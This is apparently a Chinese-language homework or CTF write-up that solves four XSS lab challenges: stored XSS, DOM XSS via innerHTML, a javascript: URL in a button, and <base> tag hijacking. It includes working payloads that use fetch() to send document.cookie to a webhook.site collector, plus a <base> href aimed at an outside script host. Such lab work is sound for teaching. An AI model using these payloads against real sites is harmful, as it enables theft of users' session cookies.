8/11 前端作業：XSS 四題

事前準備

  • 先在 webhook.site 建立收件端 URL，等會把 cookie/文字打回來。

1) Note Sharing（Stored XSS）

步驟

  1. 以 alert(1) 驗證可執行：

    1
2
3

    <script>
alert(1)
</script>
    alt text

  2. 改成把 cookie 打到 webhook（依題目需求把 https 改成 http 再送 Bot）：

    1
2
3
4

    <script>
fetch("https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?cookie="
      + encodeURIComponent(document.cookie));
</script>

  3. 到 webhook 後台查看回傳內容/flag。

原理：未過濾的使用者輸入被直接渲染為 HTML，<script> 會執行（Stored XSS）。
alt text

2) Note Sharing with innerHTML（DOM XSS）

步驟

  1. 不能直接用 alert() 時，改用圖片錯誤事件觸發並回傳 cookie：

    1

    <img src=x onerror=fetch('https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?c='+(document.cookie))>

  2. 送 Bot，於 webhook 收到資料。

原理：前端以 innerHTML 渲染未轉義內容，事件屬性（onerror）仍可執行。
alt text

3) Video Button（屬性/連結情境）

步驟

  1. 利用按鈕的連結/事件將輸入變成可執行的 javascript: URL，送出後 Bot 點擊即回傳 cookie：

    1
2

    javascript:fetch("https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?cookie="
      + encodeURIComponent(document.cookie));

  2. 檢查 webhook 收到的內容。

原理：使用者輸入被放進按鈕的 href/onclick，以 javascript: 在Bot點擊按鈕執行。
alt text

4) Any Script（<base> 劫持相對路徑）

步驟

  1. 插入 <base> 改變相對資源解析，讓頁面去載你的腳本：

    1

    <base href="https://boycework.eu.cc/script.js">

alt text
2. 當 Bot 開啟頁面，相對路徑腳本會指向你的路徑並執行，進而進行 cookie 送出。

原理：<base> 會影響相對 URL 的解析基準；若原頁以相對路徑載入 JS，將被導向你指定的位置（實際可行性視題目環境與 CSP 設定而定）。

alt text